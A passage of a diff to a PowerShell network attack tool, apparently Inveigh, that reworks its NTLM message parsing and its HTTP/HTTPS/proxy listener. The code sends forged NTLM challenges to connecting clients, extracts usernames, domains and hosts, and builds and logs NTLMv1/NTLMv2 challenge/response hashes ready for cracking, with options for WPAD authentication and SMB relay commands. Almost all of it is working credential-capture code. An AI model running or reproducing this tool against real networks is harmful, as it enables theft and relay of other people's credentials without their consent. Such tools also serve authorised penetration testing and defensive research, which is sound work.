-HTTPSCertThumbprint $HTTPSCertThumbprint -WPADAuth $WPADAuth -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp - } - catch - { - $inveigh.running = $false - throw "Invoke-InveighRelay is not loaded" - } + } # Begin ScriptBlocks @@ -817,6 +1304,7 @@ else # Shared Basic Functions ScriptBlock $shared_basic_functions_scriptblock = { + function DataToUInt16($field) { [Array]::Reverse($field) @@ -829,24 +1317,45 @@ $shared_basic_functions_scriptblock = return [System.BitConverter]::ToUInt32($field,0) } - function DataLength + function DataLength2 { param ([Int]$length_start,[Byte[]]$string_extract_data) - $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + function DataLength4 + { + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0) return $string_length } function DataToString { - param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data) + param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data) - $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length - 1)]) + $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)]) $string_data = $string_data -replace "-00","" $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) return $string_extract } + + function ConvertFrom-PacketOrderedDictionary + { + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + } # SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response @@ -861,7 +1370,7 @@ $SMB_NTLM_functions_scriptblock = $payload = $payload -replace "-","" $NTLM_index = $payload.IndexOf("4E544C4D53535000") - if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") + if($NTLM_index -gt 0 -and $payload.SubString(($NTLM_index + 16),8) -eq "02000000") { $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) } @@ -875,98 +1384,124 @@ $SMB_NTLM_functions_scriptblock = $payload = [System.BitConverter]::ToString($payload_bytes) $payload = $payload -replace "-","" - $NTLM_index = $payload.IndexOf("4E544C4D53535000") - $NTLM_bytes_index = $NTLM_index / 2 + $NTLMSSP_hex_offset = $payload.IndexOf("4E544C4D53535000") - if($payload.SubString(($NTLM_index + 16),8) -eq "03000000") + if($NTLMSSP_hex_offset -gt 0 -and $payload.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000") { - $LM_length = DataLength ($NTLM_bytes_index + 12) $payload_bytes - $LM_offset = $payload_bytes[($NTLM_bytes_index + 16)] + $NTLMSSP_offset = $NTLMSSP_hex_offset / 2 - if($LM_length -ge 24) + $LM_length = DataLength2 ($NTLMSSP_offset + 12) $payload_bytes + $LM_offset = DataLength4 ($NTLMSSP_offset + 16) $payload_bytes + $LM_response = [System.BitConverter]::ToString($payload_bytes[($NTLMSSP_offset + $LM_offset)..($NTLMSSP_offset + $LM_offset + $LM_length - 1)]) -replace "-","" + + $NTLM_length = DataLength2 ($NTLMSSP_offset + 20) $payload_bytes + $NTLM_offset = DataLength4 ($NTLMSSP_offset + 24) $payload_bytes + $NTLM_response = [System.BitConverter]::ToString($payload_bytes[($NTLMSSP_offset + $NTLM_offset)..($NTLMSSP_offset + $NTLM_offset + $NTLM_length - 1)]) -replace "-","" + + $domain_length = DataLength2 ($NTLMSSP_offset + 28) $payload_bytes + $domain_offset = DataLength4 ($NTLMSSP_offset + 32) $payload_bytes + $NTLM_domain_string = DataToString ($NTLMSSP_offset + $domain_offset) $domain_length $payload_bytes + + $user_length = DataLength2 ($NTLMSSP_offset + 36) $payload_bytes + $user_offset = DataLength4 ($NTLMSSP_offset + 40) $payload_bytes + $NTLM_user_string = DataToString ($NTLMSSP_offset + $user_offset) $user_length $payload_bytes + + $host_length = DataLength2 ($NTLMSSP_offset + 44) $payload_bytes + $host_offset = DataLength4 ($NTLMSSP_offset + 48) $payload_bytes + $NTLM_host_string = DataToString ($NTLMSSP_offset + $host_offset) $host_length $payload_bytes + + if($NTLM_length -gt 24) { - $NTLM_length = DataLength ($NTLM_bytes_index + 20) $payload_bytes - $NTLM_offset = $payload_bytes[($NTLM_bytes_index + 24)] - $NTLM_domain_length = DataLength ($NTLM_bytes_index + 28) $payload_bytes - $NTLM_domain_offset = DataLength ($NTLM_bytes_index + 32) $payload_bytes - $NTLM_domain_string = DataToString $NTLM_domain_length 0 0 ($NTLM_bytes_index + $NTLM_domain_offset) $payload_bytes - $NTLM_user_length = DataLength ($NTLM_bytes_index + 36) $payload_bytes - $NTLM_user_string = DataToString $NTLM_user_length $NTLM_domain_length 0 ($NTLM_bytes_index + $NTLM_domain_offset) $payload_bytes - $NTLM_host_length = DataLength ($NTLM_bytes_index + 44) $payload_bytes - $NTLM_host_string = DataToString $NTLM_host_length $NTLM_user_length $NTLM_domain_length ($NTLM_bytes_index + $NTLM_domain_offset) $payload_bytes + $NTLMv2_response = $NTLM_response.Insert(32,':') + $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response - if(([System.BitConverter]::ToString($payload_bytes[($NTLM_bytes_index + $LM_offset)..($NTLM_bytes_index + $LM_offset + $LM_length - 1)]) -replace "-","") -eq ("00" * $LM_length)) + if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) { - $NTLMv2_response = [System.BitConverter]::ToString($payload_bytes[($NTLM_bytes_index + $NTLM_offset)..($NTLM_bytes_index + $NTLM_offset + $NTLM_length - 1)]) -replace "-","" - $NTLMv2_response = $NTLMv2_response.Insert(32,':') - $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response - - if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)")]) - $inveigh.NTLMv2_list.Add($NTLMv2_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv2_hash") - } - else - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string) for $NTLM_domain_string\$NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) - { - $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) - $inveigh.console_queue.Add("SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - if($inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") - { - $inveigh.NTLMv2_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") - } + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") } - } - else - { - $NTLMv1_response = [System.BitConverter]::ToString($payload_bytes[($NTLM_bytes_index + $LM_offset)..($NTLM_bytes_index + $LM_offset + $NTLM_length + $LM_length - 1)]) -replace "-","" - $NTLMv1_response = $NTLMv1_response.Insert(48,':') - $NTLMv1_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLMv1_response + ":" + $NTLM_challenge + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") + } - if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)")]) - $inveigh.NTLMv1_list.Add($NTLMv1_hash) + $inveigh.NTLMv2_list.Add($NTLMv2_hash) - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv1_hash") - } - else - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string) for $NTLM_domain_string\$NTLM_user_string - not unique") - } + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv2_hash") + } + else + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") + } - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) - { - $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) - $inveigh.console_queue.Add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) + { + $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) + $inveigh.console_queue.Add("SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } - if($inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") - { - $inveigh.NTLMv1_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") - } - + if($inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") + { + $inveigh.NTLMv2_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") + } + + if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) + { + $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) } } - if ($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) + } + elseif($NTLM_length -eq 24) + { + $NTLMv1_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $LM_response + ":" + $NTLM_response + ":" + $NTLM_challenge + + if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") + } + + $inveigh.NTLMv1_list.Add($NTLMv1_hash) + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv1_hash") + } + else + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) + { + $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) + $inveigh.console_queue.Add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + } + + if($inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") + { + $inveigh.NTLMv1_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") + } + + if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) + { + $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) + } + } } @@ -977,339 +1512,688 @@ $SMB_NTLM_functions_scriptblock = } -# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener +# HTTP Server ScriptBlock - HTTP/HTTPS/Proxy listener $HTTP_scriptblock = { - param ($HTTPAuth,$HTTPBasicRealm,$WPADAuth) + param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPResponse, + $HTTPS_listener,$NBNSBruteForcePause,$Proxy,$ProxyIgnore,$proxy_listener,$WPADAuth,$WPADAuthIgnore,$WPADResponse) function NTLMChallengeBase64 { + param ([String]$Challenge,[Bool]$NTLMESS,[String]$ClientIPAddress,[Int]$ClientPort) $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - if($inveigh.challenge) + if($Challenge) { - $HTTP_challenge = $inveigh.challenge - $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge = $Challenge + $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } else { $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ','' + $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null + $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null + + if($NTLMESS) + { + $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x89,0x0a + } + else + { + $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x81,0x0a + } $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a + 0x00,0x00,0x00 + + $HTTP_NTLM_negotiation_flags + + $HTTP_challenge_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, + 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, + 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, + 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, + 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, + 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, + 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, + 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, + 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + + $HTTP_timestamp + + 0x00,0x00,0x00,0x00,0x0a,0x0a $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM = "NTLM " + $NTLM_challenge_base64 $NTLM_challenge = $HTTP_challenge return $NTLM } - $HTTP_raw_url_output = $true - - while($inveigh.running) + if($HTTPS_listener) { - $inveigh.context = $inveigh.HTTP_listener.GetContext() - $inveigh.request = $inveigh.context.Request - $inveigh.response = $inveigh.context.Response - $NTLM = 'NTLM' - $NTLM_auth = $false - $Basic_auth = $false - - if($inveigh.request.IsSecureConnection) + $HTTP_type = "HTTPS" + } + elseif($proxy_listener) + { + $HTTP_type = "Proxy" + } + else + { + $HTTP_type = "HTTP" + } + + if($HTTPIP -ne '0.0.0.0') + { + $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) + $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) + } + + $HTTP_running = $true + $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint + $HTTP_client_close = $true + + if($proxy_listener) + { + $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) + $HTTP_listener.Server.LingerState = $HTTP_linger + } + + try + { + $HTTP_listener.Start() + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + $HTTP_running = $false + + if($inveigh.file_output) { - $HTTP_type = "HTTPS" - } - else - { - $HTTP_type = "HTTP" - } - - if($inveigh.request.RawUrl -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') - { - $inveigh.response.StatusCode = 200 - } - else - { - $inveigh.response.StatusCode = 401 + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") } - $HTTP_request_time = Get-Date -format 's' - - if($HTTP_request_time -eq $HTTP_request_time_old -and $inveigh.request.RawUrl -eq $HTTP_request_raw_url_old -and $inveigh.request.RemoteEndpoint.Address -eq $HTTP_request_remote_endpoint_old) + if($inveigh.log_output) { - $HTTP_raw_url_output = $false - } - else - { - $HTTP_raw_url_output = $true - } - - if(!$inveigh.request.headers["Authorization"] -and $inveigh.HTTP_listener.IsListening -and $HTTP_raw_url_output) - { - $inveigh.console_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) + $inveigh.log.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") } - $HTTP_request_raw_url_old = $inveigh.request.RawUrl - $HTTP_request_remote_endpoint_old = $inveigh.request.RemoteEndpoint.Address - $HTTP_request_time_old = $HTTP_request_time - - [String] $authentication_header = $inveigh.request.headers.GetValues('Authorization') - - if($authentication_header.StartsWith('NTLM ')) + } + + :HTTP_listener_loop while($inveigh.running -and $HTTP_running) + { + $TCP_request = "" + $TCP_request_bytes = New-Object System.Byte[] 4096 + $HTTP_send = $true + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") + $HTTP_header_cache_control = "" + $HTTP_header_authenticate = "" + $HTTP_header_authenticate_data = "" + $HTTP_message = "" + $HTTP_header_authorization = "" + $HTTP_header_host = "" + $HTTP_header_user_agent = "" + $HTTP_request_raw_URL = "" + $NTLM = "NTLM" + + while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) { - $authentication_header = $authentication_header -replace 'NTLM ','' - [Byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $inveigh.response.StatusCode = 401 - - if($HTTP_request_bytes[8] -eq 1) - { - $inveigh.response.StatusCode = 401 - $NTLM = NTLMChallengeBase64 - } - elseif($HTTP_request_bytes[8] -eq 3) + + Start-Sleep -m 10 + + if(!$inveigh.running) { - $NTLM = 'NTLM' - $HTTP_NTLM_offset = $HTTP_request_bytes[24] - $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes - [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - - if($HTTP_NTLM_domain_length -eq 0) + break HTTP_listener_loop + } + + } + + if($HTTPS_listener) + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_clear_stream = $HTTP_client.GetStream() + $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) + $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) + $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) + } + + [Byte[]]$SSL_request_bytes = $null + + do + { + $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] + } while ($HTTP_clear_stream.DataAvailable) + + $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) + } + else + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_stream = $HTTP_client.GetStream() + } + + if($HTTP_stream.DataAvailable) + { + $HTTP_data_available = $true + } + else + { + $HTTP_data_available = $false + } + + while($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + } + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*" -or $TCP_request -like "50-4f-53-54*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + + if($NBNSBruteForcePause) + { + $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + $inveigh.hostname_spoof = $true + } + + if($TCP_request -like "*-48-6F-73-74-3A-20-*") + { + $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) + $HTTP_header_host_extract = $HTTP_header_host_extract.Substring(0,$HTTP_header_host_extract.IndexOf("-0D-0A-")) + $HTTP_header_host_extract = $HTTP_header_host_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_host = New-Object System.String ($HTTP_header_host_extract,0,$HTTP_header_host_extract.Length) + } + + if($TCP_request -like "*-55-73-65-72-2D-41-67-65-6E-74-3A-20-*") + { + $HTTP_header_user_agent_extract = $TCP_request.Substring($TCP_request.IndexOf("-55-73-65-72-2D-41-67-65-6E-74-3A-20-") + 37) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) + + if($HTTPResetDelay.Count -gt 0 -and ($HTTPResetDelay | Where-Object {$HTTP_header_user_agent -match $_})) { - $HTTP_NTLM_domain_string = '' + $HTTP_reset_delay = $true + $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout + $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + } + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") + } + + if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + } + + } + + } + + 